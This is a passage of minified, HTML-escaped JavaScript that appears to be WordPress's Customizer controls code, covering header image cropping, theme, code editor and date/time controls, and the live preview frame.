Y.HeaderTool.ChoiceList,el:&quot;#customize-control-header_image .choices .uploaded .list&quot;}),new Y.HeaderTool.ChoiceListView({collection:Y.HeaderTool.DefaultsList=new Y.HeaderTool.DefaultsList,el:&quot;#customize-control-header_image .choices .default .list&quot;}),Y.HeaderTool.combinedList=Y.HeaderTool.CombinedList=new Y.HeaderTool.CombinedList([Y.HeaderTool.UploadsList,Y.HeaderTool.DefaultsList]),wp.media.controller.Cropper.prototype.defaults.doCropArgs.wp_customize=&quot;on&quot;,wp.media.controller.Cropper.prototype.defaults.doCropArgs.customize_theme=Y.settings.theme.stylesheet},getInitialHeaderImage:function(){var e;return Y.get().header_image&amp;&amp;Y.get().header_image_data&amp;&amp;!_.contains([&quot;remove-header&quot;,&quot;random-default-image&quot;,&quot;random-uploaded-image&quot;],Y.get().header_image)?(e=(e=_.find(_wpCustomizeHeader.uploads,function(e){return e.attachment_id===Y.get().header_image_data.attachment_id}))||{url:Y.get().header_image,thumbnail_url:Y.get().header_image,attachment_id:Y.get().header_image_data.attachment_id},new Y.HeaderTool.ImageModel({header:e,choice:e.url.split(&quot;/&quot;).pop()})):new Y.HeaderTool.ImageModel},calculateImageSelectOptions:function(e,t){var n=parseInt(_wpCustomizeHeader.data.width,10),i=parseInt(_wpCustomizeHeader.data.height,10),a=!!parseInt(_wpCustomizeHeader.data[&quot;flex-width&quot;],10),o=!!parseInt(_wpCustomizeHeader.data[&quot;flex-height&quot;],10),s=e.get(&quot;width&quot;),e=e.get(&quot;height&quot;);return this.headerImage=new Y.HeaderTool.ImageModel,this.headerImage.set({themeWidth:n,themeHeight:i,themeFlexWidth:a,themeFlexHeight:o,imageWidth:s,imageHeight:e}),t.set(&quot;canSkipCrop&quot;,!this.headerImage.shouldBeCropped()),(t=n/i)&lt;s/e?n=(i=e)*t:i=(n=s)/t,!(t={handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:s,imageHeight:e,x1:0,y1:0,x2:n,y2:i})==o&amp;&amp;!1==a&amp;&amp;(t.aspectRatio=n+&quot;:&quot;+i),!1==o&amp;&amp;(t.maxHeight=i),!1==a&amp;&amp;(t.maxWidth=n),t},openMedia:function(e){var t=_wpMediaViewsL10n;e.preventDefault(),this.frame=wp.media({button:{text:t.selectAndCrop,close:!1},states:[new wp.media.controller.Library({title:t.chooseImage,library:wp.media.query({type:&quot;image&quot;}),multiple:!1,date:!1,priority:20,suggestedWidth:_wpCustomizeHeader.data.width,suggestedHeight:_wpCustomizeHeader.data.height}),new wp.media.controller.Cropper({imgSelectOptions:this.calculateImageSelectOptions})]}),this.frame.on(&quot;select&quot;,this.onSelect,this),this.frame.on(&quot;cropped&quot;,this.onCropped,this),this.frame.on(&quot;skippedcrop&quot;,this.onSkippedCrop,this),this.frame.open()},onSelect:function(){this.frame.setState(&quot;cropper&quot;)},onCropped:function(e){var t=e.url;this.setImageFromURL(t,e.attachment_id,e.width,e.height)},onSkippedCrop:function(e){var t=e.get(&quot;url&quot;),n=e.get(&quot;width&quot;),i=e.get(&quot;height&quot;);this.setImageFromURL(t,e.id,n,i)},setImageFromURL:function(e,t,n,i){var a={};a.url=e,a.thumbnail_url=e,a.timestamp=_.now(),t&amp;&amp;(a.attachment_id=t),n&amp;&amp;(a.width=n),i&amp;&amp;(a.height=i),t=new Y.HeaderTool.ImageModel({header:a,choice:e.split(&quot;/&quot;).pop()}),Y.HeaderTool.UploadsList.add(t),Y.HeaderTool.currentHeader.set(t.toJSON()),t.save(),t.importImage()},removeImage:function(){Y.HeaderTool.currentHeader.trigger(&quot;hide&quot;),Y.HeaderTool.CombinedList.trigger(&quot;control:removeImage&quot;)}}),Y.ThemeControl=Y.Control.extend({touchDrag:!1,screenshotRendered:!1,ready:function(){var n=this,e=Y.panel(&quot;themes&quot;);function t(){return!e.canSwitchTheme(n.params.theme.id)}function i(){n.container.find(&quot;button.preview, button.preview-theme&quot;).toggleClass(&quot;disabled&quot;,t()),n.container.find(&quot;button.theme-install&quot;).toggleClass(&quot;disabled&quot;,t()||!1===Y.settings.theme._canInstall||!0===Y.settings.theme._filesystemCredentialsNeeded)}Y.state(&quot;selectedChangesetStatus&quot;).bind(i),Y.state(&quot;changesetStatus&quot;).bind(i),i(),n.container.on(&quot;touchmove&quot;,&quot;.theme&quot;,function(){n.touchDrag=!0}),n.container.on(&quot;click keydown touchend&quot;,&quot;.theme&quot;,function(e){var t;if(!Y.utils.isKeydownButNotEnterEvent(e))return!0===n.touchDrag?n.touchDrag=!1:void(J(e.target).is(&quot;.theme-actions .button, .update-theme&quot;)||(e.preventDefault(),(t=Y.section(n.section())).showDetails(n.params.theme,function(){Y.settings.theme._filesystemCredentialsNeeded&amp;&amp;t.overlay.find(&quot;.theme-actions .delete-theme&quot;).remove()})))}),n.container.on(&quot;render-screenshot&quot;,function(){var e=J(this).find(&quot;img&quot;),t=e.data(&quot;src&quot;);t&amp;&amp;e.attr(&quot;src&quot;,t),n.screenshotRendered=!0})},filter:function(e){var t=this,n=0,i=(i=t.params.theme.name+&quot; &quot;+t.params.theme.description+&quot; &quot;+t.params.theme.tags+&quot; &quot;+t.params.theme.author+&quot; &quot;).toLowerCase().replace(&quot;-&quot;,&quot; &quot;);return _.isArray(e)||(e=[e]),t.params.theme.name.toLowerCase()===e.join(&quot; &quot;)?n=100:(n+=10*(i.split(e.join(&quot; &quot;)).length-1),_.each(e,function(e){n=(n+=2*(i.split(e+&quot; &quot;).length-1))+i.split(e).length-1}),99&lt;n&amp;&amp;(n=99)),0!==n?(t.activate(),t.params.priority=101-n,!0):(t.deactivate(),!(t.params.priority=101))},rerenderAsInstalled:function(e){var t=this;e?t.params.theme.type=&quot;installed&quot;:(e=Y.section(t.params.section),t.params.theme.type=e.params.action),t.renderContent(),t.container.trigger(&quot;render-screenshot&quot;)}}),Y.CodeEditorControl=Y.Control.extend({initialize:function(e,t){var n=this;n.deferred=_.extend(n.deferred||{},{codemirror:J.Deferred()}),Y.Control.prototype.initialize.call(n,e,t),n.notifications.bind(&quot;add&quot;,function(e){var t;e.code===n.setting.id+&quot;:csslint_error&quot;&amp;&amp;(e.templateId=&quot;customize-code-editor-lint-error-notification&quot;,e.render=(t=e.render,function(){var e=t.call(this);return e.find(&quot;input[type=checkbox]&quot;).on(&quot;click&quot;,function(){n.setting.notifications.remove(&quot;csslint_error&quot;)}),e}))})},ready:function(){var i=this;i.section()?Y.section(i.section(),function(n){n.deferred.embedded.done(function(){var t;n.expanded()?i.initEditor():n.expanded.bind(t=function(e){e&amp;&amp;(i.initEditor(),n.expanded.unbind(t))})})}):i.initEditor()},initEditor:function(){var e,t=this,n=!1;wp.codeEditor&amp;&amp;(_.isUndefined(t.params.editor_settings)||!1!==t.params.editor_settings)&amp;&amp;((n=wp.codeEditor.defaultSettings?_.clone(wp.codeEditor.defaultSettings):{}).codemirror=_.extend({},n.codemirror,{indentUnit:2,tabSize:2}),_.isObject(t.params.editor_settings))&amp;&amp;_.each(t.params.editor_settings,function(e,t){_.isObject(e)&amp;&amp;(n[t]=_.extend({},n[t],e))}),e=new Y.Element(t.container.find(&quot;textarea&quot;)),t.elements.push(e),e.sync(t.setting),e.set(t.setting()),n?t.initSyntaxHighlightingEditor(n):t.initPlainTextareaEditor()},focus:function(e){var t=this,e=_.extend({},e),n=e.completeCallback;e.completeCallback=function(){n&amp;&amp;n(),t.editor&amp;&amp;t.editor.codemirror.focus()},Y.Control.prototype.focus.call(t,e)},initSyntaxHighlightingEditor:function(e){var t=this,n=t.container.find(&quot;textarea&quot;),i=!1,e=_.extend({},e,{onTabNext:_.bind(t.onTabNext,t),onTabPrevious:_.bind(t.onTabPrevious,t),onUpdateErrorNotice:_.bind(t.onUpdateErrorNotice,t)});t.editor=wp.codeEditor.initialize(n,e),J(t.editor.codemirror.display.lineDiv).attr({role:&quot;textbox&quot;,&quot;aria-multiline&quot;:&quot;true&quot;,&quot;aria-label&quot;:t.params.label,&quot;aria-describedby&quot;:&quot;editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4&quot;}),t.container.find(&quot;label&quot;).on(&quot;click&quot;,function(){t.editor.codemirror.focus()}),t.editor.codemirror.on(&quot;change&quot;,function(e){i=!0,n.val(e.getValue()).trigger(&quot;change&quot;),i=!1}),t.setting.bind(function(e){i||t.editor.codemirror.setValue(e)}),t.editor.codemirror.on(&quot;keydown&quot;,function(e,t){27===t.keyCode&amp;&amp;t.stopPropagation()}),t.deferred.codemirror.resolveWith(t,[t.editor.codemirror])},onTabNext:function(){var e=Y.section(this.section()).controls(),t=e.indexOf(this);e.length===t+1?J(&quot;#customize-footer-actions .collapse-sidebar&quot;).trigger(&quot;focus&quot;):e[t+1].container.find(&quot;:focusable:first&quot;).focus()},onTabPrevious:function(){var e=Y.section(this.section()),t=e.controls(),n=t.indexOf(this);(0===n?e.contentContainer.find(&quot;.customize-section-title .customize-help-toggle, .customize-section-title .customize-section-description.open .section-description-close&quot;).last():t[n-1].contentContainer.find(&quot;:focusable:first&quot;)).focus()},onUpdateErrorNotice:function(e){this.setting.notifications.remove(&quot;csslint_error&quot;),0!==e.length&amp;&amp;(e=1===e.length?Y.l10n.customCssError.singular.replace(&quot;%d&quot;,&quot;1&quot;):Y.l10n.customCssError.plural.replace(&quot;%d&quot;,String(e.length)),this.setting.notifications.add(new Y.Notification(&quot;csslint_error&quot;,{message:e,type:&quot;error&quot;})))},initPlainTextareaEditor:function(){var a=this.container.find(&quot;textarea&quot;),o=a[0];a.on(&quot;blur&quot;,function(){a.data(&quot;next-tab-blurs&quot;,!1)}),a.on(&quot;keydown&quot;,function(e){var t,n,i;27===e.keyCode?a.data(&quot;next-tab-blurs&quot;)||(a.data(&quot;next-tab-blurs&quot;,!0),e.stopPropagation()):9!==e.keyCode||e.ctrlKey||e.altKey||e.shiftKey||a.data(&quot;next-tab-blurs&quot;)||(t=o.selectionStart,n=o.selectionEnd,i=o.value,0&lt;=t&amp;&amp;(o.value=i.substring(0,t).concat(&quot;\t&quot;,i.substring(n)),a.selectionStart=o.selectionEnd=t+1),e.stopPropagation(),e.preventDefault())}),this.deferred.codemirror.rejectWith(this)}}),Y.DateTimeControl=Y.Control.extend({ready:function(){var i=this;if(i.inputElements={},i.invalidDate=!1,_.bindAll(i,&quot;populateSetting&quot;,&quot;updateDaysForMonth&quot;,&quot;populateDateInputs&quot;),!i.setting)throw new Error(&quot;Missing setting&quot;);i.container.find(&quot;.date-input&quot;).each(function(){var e=J(this),t=e.data(&quot;component&quot;),n=new Y.Element(e);i.inputElements[t]=n,i.elements.push(n),e.on(&quot;change&quot;,function(){i.invalidDate&amp;&amp;i.notifications.add(new Y.Notification(&quot;invalid_date&quot;,{message:Y.l10n.invalidDate}))}),e.on(&quot;input&quot;,_.debounce(function(){i.invalidDate||i.notifications.remove(&quot;invalid_date&quot;)})),e.on(&quot;blur&quot;,_.debounce(function(){i.invalidDate||i.populateDateInputs()}))}),i.inputElements.month.bind(i.updateDaysForMonth),i.inputElements.year.bind(i.updateDaysForMonth),i.populateDateInputs(),i.setting.bind(i.populateDateInputs),_.each(i.inputElements,function(e){e.bind(i.populateSetting)})},parseDateTime:function(e){var t;return(t=e?e.match(/^(\d\d\d\d)-(\d\d)-(\d\d)(?: (\d\d):(\d\d)(?::(\d\d))?)?$/):t)?(t.shift(),e={year:t.shift(),month:t.shift(),day:t.shift(),hour:t.shift()||&quot;00&quot;,minute:t.shift()||&quot;00&quot;,second:t.shift()||&quot;00&quot;},this.params.includeTime&amp;&amp;this.params.twelveHourFormat&amp;&amp;(e.hour=parseInt(e.hour,10),e.meridian=12&lt;=e.hour?&quot;pm&quot;:&quot;am&quot;,e.hour=e.hour%12?String(e.hour%12):String(12),delete e.second),e):null},validateInputs:function(){var e,i,a=this;return a.invalidDate=!1,e=[&quot;year&quot;,&quot;day&quot;],a.params.includeTime&amp;&amp;e.push(&quot;hour&quot;,&quot;minute&quot;),_.find(e,function(e){var t,n,e=a.inputElements[e];return i=e.element.get(0),t=parseInt(e.element.attr(&quot;max&quot;),10),n=parseInt(e.element.attr(&quot;min&quot;),10),e=parseInt(e(),10),a.invalidDate=isNaN(e)||t&lt;e||e&lt;n,a.invalidDate||i.setCustomValidity(&quot;&quot;),a.invalidDate}),a.inputElements.meridian&amp;&amp;!a.invalidDate&amp;&amp;(i=a.inputElements.meridian.element.get(0),&quot;am&quot;!==a.inputElements.meridian.get()&amp;&amp;&quot;pm&quot;!==a.inputElements.meridian.get()?a.invalidDate=!0:i.setCustomValidity(&quot;&quot;)),a.invalidDate?i.setCustomValidity(Y.l10n.invalidValue):i.setCustomValidity(&quot;&quot;),(!a.section()||Y.section.has(a.section())&amp;&amp;Y.section(a.section()).expanded())&amp;&amp;_.result(i,&quot;reportValidity&quot;),a.invalidDate},updateDaysForMonth:function(){var e=this,t=parseInt(e.inputElements.month(),10),n=parseInt(e.inputElements.year(),10),i=parseInt(e.inputElements.day(),10);t&amp;&amp;n&amp;&amp;(n=new Date(n,t,0).getDate(),e.inputElements.day.element.attr(&quot;max&quot;,n),n&lt;i)&amp;&amp;e.inputElements.day(String(n))},populateSetting:function(){var e,t=this;return!(t.validateInputs()||!t.params.allowPastDate&amp;&amp;!t.isFutureDate()||(e=t.convertInputDateToString(),t.setting.set(e),0))},convertInputDateToString:function(){var e,n=this,t=&quot;&quot;,i=function(e,t){return String(e).length&lt;t&amp;&amp;(t=t-String(e).length,e=Math.pow(10,t).toString().substr(1)+String(e)),e},a=function(e){var t=parseInt(n.inputElements[e].get(),10);return _.contains([&quot;month&quot;,&quot;day&quot;,&quot;hour&quot;,&quot;minute&quot;],e)?t=i(t,2):&quot;year&quot;===e&amp;&amp;(t=i(t,4)),t},o=[&quot;year&quot;,&quot;-&quot;,&quot;month&quot;,&quot;-&quot;,&quot;day&quot;];return n.params.includeTime&amp;&amp;(e=n.inputElements.meridian?n.convertHourToTwentyFourHourFormat(n.inputElements.hour(),n.inputElements.meridian()):n.inputElements.hour(),o=o.concat([&quot; &quot;,i(e,2),&quot;:&quot;,&quot;minute&quot;,&quot;:&quot;,&quot;00&quot;])),_.each(o,function(e){t+=n.inputElements[e]?a(e):e}),t},isFutureDate:function(){return 0&lt;Y.utils.getRemainingTime(this.convertInputDateToString())},convertHourToTwentyFourHourFormat:function(e,t){e=parseInt(e,10);return isNaN(e)?&quot;&quot;:(t=&quot;pm&quot;===t&amp;&amp;e&lt;12?e+12:&quot;am&quot;===t&amp;&amp;12===e?e-12:e,String(t))},populateDateInputs:function(){var i=this.parseDateTime(this.setting.get());return!!i&amp;&amp;(_.each(this.inputElements,function(e,t){var n=i[t];&quot;month&quot;===t||&quot;meridian&quot;===t?(n=n.replace(/^0/,&quot;&quot;),e.set(n)):(n=parseInt(n,10),e.element.is(document.activeElement)?n!==parseInt(e(),10)&amp;&amp;e.set(String(n)):e.set(i[t]))}),!0)},toggleFutureDateNotification:function(e){var t=&quot;not_future_date&quot;;return e?(e=new Y.Notification(t,{type:&quot;error&quot;,message:Y.l10n.futureDateError}),this.notifications.add(e)):this.notifications.remove(t),this}}),Y.PreviewLinkControl=Y.Control.extend({defaults:_.extend({},Y.Control.prototype.defaults,{templateId:&quot;customize-preview-link-control&quot;}),ready:function(){var e,t,n,i,a,o=this;_.bindAll(o,&quot;updatePreviewLink&quot;),o.setting||(o.setting=new Y.Value),o.previewElements={},o.container.find(&quot;.preview-control-element&quot;).each(function(){t=J(this),e=t.data(&quot;component&quot;),t=new Y.Element(t),o.previewElements[e]=t,o.elements.push(t)}),n=o.previewElements.url,i=o.previewElements.input,a=o.previewElements.button,i.link(o.setting),n.link(o.setting),n.bind(function(e){n.element.parent().attr({href:e,target:Y.settings.changeset.uuid})}),Y.bind(&quot;ready&quot;,o.updatePreviewLink),Y.state(&quot;saved&quot;).bind(o.updatePreviewLink),Y.state(&quot;changesetStatus&quot;).bind(o.updatePreviewLink),Y.state(&quot;activated&quot;).bind(o.updatePreviewLink),Y.previewer.previewUrl.bind(o.updatePreviewLink),a.element.on(&quot;click&quot;,function(e){e.preventDefault(),o.setting()&amp;&amp;(i.element.select(),document.execCommand(&quot;copy&quot;),a(a.element.data(&quot;copied-text&quot;)))}),n.element.parent().on(&quot;click&quot;,function(e){J(this).hasClass(&quot;disabled&quot;)&amp;&amp;e.preventDefault()}),a.element.on(&quot;mouseenter&quot;,function(){o.setting()&amp;&amp;a(a.element.data(&quot;copy-text&quot;))})},updatePreviewLink:function(){var e=!Y.state(&quot;saved&quot;).get()||&quot;&quot;===Y.state(&quot;changesetStatus&quot;).get()||&quot;auto-draft&quot;===Y.state(&quot;changesetStatus&quot;).get();this.toggleSaveNotification(e),this.previewElements.url.element.parent().toggleClass(&quot;disabled&quot;,e),this.previewElements.button.element.prop(&quot;disabled&quot;,e),this.setting.set(Y.previewer.getFrontendPreviewUrl())},toggleSaveNotification:function(e){var t=&quot;changes_not_saved&quot;;e?(e=new Y.Notification(t,{type:&quot;info&quot;,message:Y.l10n.saveBeforeShare}),this.notifications.add(e)):this.notifications.remove(t)}}),Y.defaultConstructor=Y.Setting,Y.control=new Y.Values({defaultConstructor:Y.Control}),Y.section=new Y.Values({defaultConstructor:Y.Section}),Y.panel=new Y.Values({defaultConstructor:Y.Panel}),Y.notifications=new Y.Notifications,Y.PreviewFrame=Y.Messenger.extend({sensitivity:null,initialize:function(e,t){var n=J.Deferred();n.promise(this),this.container=e.container,J.extend(e,{channel:Y.PreviewFrame.uuid()}),Y.Messenger.prototype.initialize.call(this,e,t),this.add(&quot;previewUrl&quot;,e.previewUrl),this.query=J.extend(e.query||{},{customize_messenger_channel:this.channel()}),this.run(n)},run:function(t){var e,n,i,a=this,o=!1,s=!1,r=null,c=&quot;{}&quot;!==a.query.customized;a._ready&amp;&amp;a.unbind(&quot;ready&quot;,a._ready),a._ready=function(e){s=!0,r=e,a.container.addClass(&quot;iframe-ready&quot;),e&amp;&amp;o&amp;&amp;t.resolveWith(a,[e])},a.bind(&quot;ready&quot;,a._ready),(e=document.createElement(&quot;a&quot;)).href=a.previewUrl(),n=_.extend(Y.utils.parseQueryString(e.search.substr(1)),{customize_changeset_uuid:a.query.customize_changeset_uuid,customize_theme:a.query.customize_theme,customize_messenger_channel:a.query.customize_messenger_channel}),!Y.settings.changeset.autosaved&amp;&amp;Y.state(&quot;saved&quot;).get()||(n.customize_autosaved=&quot;on&quot;),e.search=J.param(n),a.iframe=J(&quot;&lt;iframe /&gt;&quot;,{title:Y.l10n.previewIframeTitle,name:&quot;customize-&quot;+a.channel()}),a.iframe.attr(&quot;onmousewheel&quot;,&quot;&quot;),a.iframe.attr(&quot;sandbox&quot;,&quot;allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-scripts&quot;),c?a.iframe.attr(&quot;data-src&quot;,e.href):a.iframe.attr(&quot;src&quot;,e.href),a.iframe.appendTo(a.container),a.targetWindow(a.iframe[0].contentWindow),c&amp;&amp;((i=J(&quot;&lt;form&gt;&quot;,{action:e.href,target:a.iframe.attr(&quot;name&quot;),method:&quot;post&quot;,hidden:&quot;hidden&quot;})).append(J(&quot;&lt;input&gt;&quot;,{type:&quot;hidden&quot;,name:&quot;_method&quot;,value:&quot;GET&quot;})),_.each(a.query,function(e,t){i.append(J(&quot;&lt;input&gt;&quot;,{type:&quot;hidden&quot;,name:t,value:e}))}),a.container.append(i),i.trigger(&quot;submit&quot;),i.remove()),a.bind(&quot;iframe-loading-error&quot;,function(e){a.iframe.remove(),0===e?a.login(t):-1===e?t.rejectWith(a,[&quot;cheatin&quot;]):t.rejectWith(a,[&quot;request failure&quot;])}),a.iframe.one(&quot;load&quot;,function(){o=!0,s?t.resolveWith(a,[r]):setTimeout(function(){t.rejectWith(a,[&quot;ready timeout&quot;])},a.sensitivity)})},login:function(n){var i=this,a=function(){n.rejectWith(i,[&quot;logged out&quot;])};if(this.triedLogin)return a();J.get(Y.settings.url.ajax,{action:&quot;logged-in&quot;}).fail(a).done(function(e){var t;&quot;1&quot;!==e&amp;&amp;a(),(t=J(&quot;&lt;iframe /&gt;&quot;,{src:i.previewUrl(),title:Y.l10n.previewIframeTitle}).hide()).appendTo(i.container),t.on(&quot;load&quot;,function(){i.triedLogin=!0,t.remove(),i.run(n)})})},destroy:function(){Y.Messenger.prototype.destroy.call(this),this.iframe&amp;&amp;this.iframe.remove(),delete this.iframe,delete this.targetWindow}}),i=0,Y.PreviewFrame.uuid=function(){return&quot;preview-&quot;+String(i++)},Y.setDocumentTitle=function(e){e=Y.settings.documentTitleTmpl.replace(&quot;%s&quot;,e);document.title=e,Y.trigger(&quot;title&quot;,e)},Y.Previewer=Y.Messenger.extend({refreshBuffer:null,initialize:function(e,t){var n,o=this,i=document.createElement(&quot;a&quot;);J.extend(o,t||{}),o.deferred={active:J.Deferred()},o.refresh=_.debounce((n=o.refresh,function(){var e,t=function(){return 0===Y.state(&quot;processing&quot;).get()};t()?n.call(o):(e=function(){t()&amp;&amp;(n.call(o),Y.state(&quot;processing&quot;).unbind(e))},Y.state(&quot;processing&quot;).bind(e))}),o.refreshBuffer),o.container=Y.ensure(e.container),o.allowedUrls=e.allowedUrls,e.url=window.location.href,Y.Messenger.prototype.initialize.call(o,e),i.href=o.origin(),o.add(&quot;scheme&quot;,i.protocol.replace(/:$/,&quot;&quot;)),o.add(&quot;previewUrl&quot;,e.previewUrl).setter(function(e){var n,i=null,t=[],a=document.createElement(&quot;a&quot;);return a.href=e,/\/wp-(admin|includes|content)(\/|$)/.test(a.pathname)?null:(1&lt;a.search.length&amp;&amp;(delete(e=Y.utils.parseQueryString(a.search.substr(1))).customize_changeset_uuid,delete e.customize_theme,delete e.customize_messenger_channel,delete e.customize_autosaved,_.isEmpty(e)?a.search=&quot;&quot;:a.search=J.param(e)),t.push(a),o.scheme.get()+&quot;:&quot;!==a.protocol&amp;&amp;((a=document.createElement(&quot;a&quot;)).href=t[0].href,a.protocol=o.scheme.get()+&quot;:&quot;,t.unshift(a)),n=document.createElement(&quot;a&quot;),_.find(t,function(t){return!_.isUndefined(_.find(o.allowedUrls,function(e){if(n.href=e,a.protocol===n.protocol&amp;&amp;a.host===n.host&amp;&amp;0===a.pathname.indexOf(n.pathname.replace(/\/$/,&quot;&quot;)))return i=t.href,!0}))}),i)}),o.bind(&quot;ready&quot;,o.ready),o.deferred.active.done(_.bind(o.keepPreviewAlive,o)),o.bind(&quot;synced&quot;,function(){o.send(&quot;active&quot;)}),o.previewUrl.bind(o.refresh),o.scroll=0,o.bind(&quot;scroll&quot;,function(e){o.scroll=e}),o.bind(&quot;url&quot;,function(e){var t,n=!1;o.scroll=0,o.previewUrl.bind(t=function(){n=!0}),o.previewUrl.set(e),o.previewUrl.unbind(t),n||o.refresh()}),o.bind(&quot;documentTitle&quot;,function(e){Y.setDocumentTitle(e)})},ready:function(e){var t=this,n={};n.settings=Y.get(),n[&quot;settings-modified-while-loading&quot;]=t.settingsModifiedWhileLoading,&quot;resolved&quot;===t.deferred.active.state()&amp;&amp;!t.loading||(n.scroll=t.scroll),n[&quot;edit-shortcut-visibility&quot;]=Y.state(&quot;editShortcutVisibility&quot;).get(),t.send(&quot;sync&quot;,n),e.currentUrl&amp;&amp;(t.previewUrl.unbind(t.refresh),t.previewUrl.set(e.currentUrl),t.previewUrl.bind(t.refresh)),_({panel:e.activePanels,section:e.activeSections,control:e.activeControls}).each(function(n,i){Y[i].each(function(e,t){_.isUndefined(Y.settings[i+&quot;s&quot;][t])&amp;&amp;_.isUndefined(n[t])||(n[t]?e.activate():e.deactivate())})}),e.settingValidities&amp;&amp;Y._handleSettingValidities({settingValidities:e.settingValidities,focusInvalidControl:!1})},keepPreviewAlive:function(){var e,t=function(){e=setTimeout(i,Y.settings.timeouts.keepAliveCheck)},n=function(){Y.state(&quot;previewerAlive&quot;).set(!0),clearTimeout(e),t()},i=function(){Y.state(&quot;previewerAlive&quot;).set(!1)};t(),this.bind(&quot;ready&quot;,n),this.bind(&quot;keep-alive&quot;,n)},query:function(){},abort:function(){this.loading&amp;&amp;(this.loading.destroy(),delete this.loading)},refresh:function(){var e,i=this;i.send(&quot;loading-initiated&quot;),i.abort(),i.loading=new Y.PreviewFrame({url:i.url(),previewUrl:i.previewUrl(),query:i.query({excludeCustomizedSaved:!0})||{},container:i.container}),i.settingsModifiedWhileLoading={},Y.bind(&quot;change&quot;,e=function(e){i.settingsModifiedWhileLoading[e.id]=!0}),i.loading.always(function(){Y.unbind(&quot;change&quot;,e)}),i.loading.done(function(e){var t,n=this;i.preview=n,i.targetWindow(n.targetWindow()),i.channel(n.channel()),t=function(){n.unbind(&quot;synced&quot;,t),i._previousPreview&amp;&amp;i._previousPreview.destroy(),i._previousPreview=i.preview,i.deferred.active.resolve(),delete i.loading},n.bind(&quot;synced&quot;,t),i.trigger(&quot;ready&quot;,e)}),i.loading.fail(function(e){i.send(&quot;loading-failed&quot;),&quot;logged out&quot;===e&amp;&amp;(i.preview&amp;&amp;(i.preview.destroy(),delete i.preview),i.login().done(i.refresh)),&quot;cheatin&quot;===e&amp;&amp;i.cheatin()})},login:function(){var t,n,i,a=this;return this._login||(t=J.Deferred(),this._login=t.promise(),n=new Y.Messenger({channel:&quot;login&quot;,url:Y.settings.url.login}),i=J(&quot;&lt;iframe /&gt;&quot;,{src:Y.settings.url.login,title:Y.l10n.loginIframeTitle}).appendTo(this.container),n.targetWindow(i[0].contentWindow),n.bind(&quot;login&quot;,function(){var e=a.refreshNonces();e.always(function(){i.remove(),n.destroy(),delete a._login}),e.done(function(){t.resolve()}),e.fail(function(){a.cheatin(),t.reject()})})),this._login},cheatin:function(){J(document.body).empty().addClass(&quot;cheatin&quot;).append(&quot;&lt;h1&gt;&quot;+Y.l10n.notAllowedHeading+&quot;&lt;/h1&gt;&lt;p&gt;&quot;+Y.l10n.notAllowed+&quot;&lt;/p&gt;&quot;)},refreshNonces:function(){var e,t=J.Deferred();return t.promise(),(e=wp.ajax.post(&quot;customize_refresh_nonces&quot;,{wp_customize:&quot;on&quot;,customize_theme:Y.settings.theme.stylesheet})).done(function(e){Y.trigger(&quot;nonce-refresh&quot;,e),t.resolve()}),e.fail(function(){t.reject()}),t}}),Y.settingConstructor={},Y.controlConstructor={color:Y.ColorControl,media:Y.MediaControl,upload:Y.UploadControl,image:Y.ImageControl,cropped_image:Y.CroppedImageControl,site_icon:Y.SiteIconControl,header:Y.HeaderControl,background:Y.BackgroundControl,background_position:Y.BackgroundPositionControl,theme:Y.ThemeControl,date_time:Y.DateTimeControl,code_editor:Y.CodeEditorControl},Y.panelConstructor={themes:Y.ThemesPanel},Y.sectionConstructor={themes:Y.ThemesSection,outer:Y.OuterSection},Y._handleSettingValidities=function(e){var o=[],n=!1;_.each(e.settingValidities,function(t,e){var a=Y(e);a&amp;&amp;(_.isObject(t)&amp;&amp;_.each(t,function(e,t){var n=!1,e=new Y.Notification(t,_.extend({fromServer:!0},e)),i=a.notifications(e.code);(n=i?e.type!==i.type||e.message!==i.message||!_.isEqual(e.data,i.data):n)&amp;&amp;a.notifications.remove(t),a.notifications.has(e.code)||a.notifications.add(e),o.push(a.id)}),a.notifications.each(function(e){!e.fromServer||&quot;error&quot;!==e.type||!0!==t&amp;&amp;t[e.code]||a.notifications.remove(e.code)}))}),e.focusInvalidControl&amp;&amp;(e=Y.findControlsForSettings(o),_(_.values(e)).find(function(e){return _(e).find(function(e){var t=e.section()&amp;&amp;Y.section.has(e.section())&amp;&amp;Y.section(e.section()).expanded();return(t=t&amp;&amp;e.expanded?e.expanded():t)&amp;&amp;(e.focus(),n=!0),n})}),n||_.isEmpty(e)||_.values(e)[0][0].focus())},Y.findControlsForSettings=function(e){var n,i={};return _.each(_.unique(e),function(e){var t=Y(e);t&amp;&amp;(n=t.findControls())&amp;&amp;0&lt;n.length&amp;&amp;(i[e]=n)}),i},Y.reflowPaneContents=_.bind(function(){var i,e,t,a=[],o=!1;document.activeElement&amp;&amp;(e=J(document.activeElement)),Y.panel.each(function(e){var t,n;&quot;themes&quot;===e.id||(t=e.sections(),n=_.pluck(t,&quot;headContainer&quot;),a.push(e),i=e.contentContainer.is(&quot;ul&quot;)?e.contentContainer:e.contentContainer.find(&quot;ul:first&quot;),Y.utils.areElementListsEqual(n,i.children(&quot;[id]&quot;)))||(_(t).each(function(e){i.append(e.headContainer)}),o=!0)}),Y.section.each(function(e){var t=e.controls(),n=_.pluck(t,&quot;container&quot;);e.panel()||a.push(e),i=e.contentContainer.is(&quot;ul&quot;)?e.contentContainer:e.contentContainer.find(&quot;ul:first&quot;),Y.utils.areElementListsEqual(n,i.children(&quot;[id]&quot;))||(_(t).each(function(e){i.append(e.container)}),o=!0)}),a.sort(Y.utils.prioritySort),t=_.pluck(a,&quot;headContainer&quot;),i=J(&quot;#customize-theme-controls .customize-pane-parent&quot;),Y.utils.areElementListsEqual(t,i.children())||(_(a).each(function(e){i.append(e.headContainer)}),o=!0),Y.panel.each(function(e){var t=e.active();e.active.callbacks.fireWith(e.active,[t,t])}),Y.section.each(function(e){var t=e.active();e.active.callbacks.fireWith(e.active,[t,t])}),o&amp;&amp;e&amp;&amp;e.trigger(&quot;focus&quot;),Y.trigger(&quot;pane-contents-reflowed&quot;)},Y),Y.state=new 